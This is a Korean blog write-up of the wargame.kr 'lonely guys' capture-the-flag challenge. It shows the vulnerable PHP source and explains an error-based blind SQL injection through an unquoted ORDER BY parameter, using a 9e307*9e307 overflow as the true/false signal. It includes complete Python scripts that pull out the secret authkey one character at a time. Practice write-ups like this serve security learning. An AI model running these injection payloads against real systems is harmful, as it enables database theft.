Wargame/wargame.kr

[Wargame.kr] lonely guys 풀이 (385p)

bjloed 2020. 7. 31. 12:20
lonely guys view-source code

Blind SQLi challenge.
Can you SQLi with 'order by' in expression?

<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}

<?php
  mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
  $sort = mysql_real_escape_string($sort);
  $result=mysql_query("select * from guys_tbl order by reg_date $sort");
  while($row=mysql_fetch_array($result)){
	echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
  }
?>

이번 문제에서는 테이블과 컬럼의 이름을 알려준다. (둘 다 authkey)

우리가 입력한 POST['sort']에 따라서, SQL 쿼리문이 실행된다.

select * from guys_tbl order by reg_date $sort

해당 SQL 쿼리문에는 order by가 포함되어 있으므로, ,를 이용해 subquery를 만들 수 있다.


처음으로 시도해봤던 방법은 ,뒤에 값이 TRUE면 정렬이 된다는 점을 이용해 IF문 분기를 TRUE,FALSE로 나눴으나 실패..

왜 실패한지는 모르겠다.

두번째 방법은, 9e307*9e307을 이용한 Error Based SQLi였다.

if(비교문, 9e307*9e307, 1)

비교문이 참이라면 9e307*9e307을 계산하게 만들어 오류를 발생시키는 구문이다. (계산 범위 초과)

authkey의 길이를 알아내는 코드는 다음과 같다.

import requests
import time

url = 'http://wargame.kr:8080/lonely_guys/index.php'

for i in range(1,43):
    param = ', if(length((select authkey from authkey limit 0,1))='+str(i)+',9e307*9e307,0)'
    data = {'sort' : param}
    html = requests.post(url, data=data)

    if 'jacob' in html.text:
        print(str(i) + ' is passed.')
    else:
        print(': Answer -> ' + str(i))
        break

이 코드를 이용해 authkey가 40자라는 것을 알아냈다. 이제는 authkey의 실제 값을 출력해보자.

import requests
import time

url = 'http://wargame.kr:8080/lonely_guys/index.php'
arr = []

for i in range(1,41):
    for w in range(32,127):
        param = ', if(ord(substr((select authkey from authkey limit 0,1),'+str(i)+',1))='+str(w)+',9e307*9e307,1)'
        data = {'sort' : param}
        html = requests.post(url, data=data)

        if 'jacob' in html.text:
            pass
        else:
            arr.append(str(chr(w)))
            break
print(''.join(arr))

코드를 실행하면 flag를 얻을 수 있다.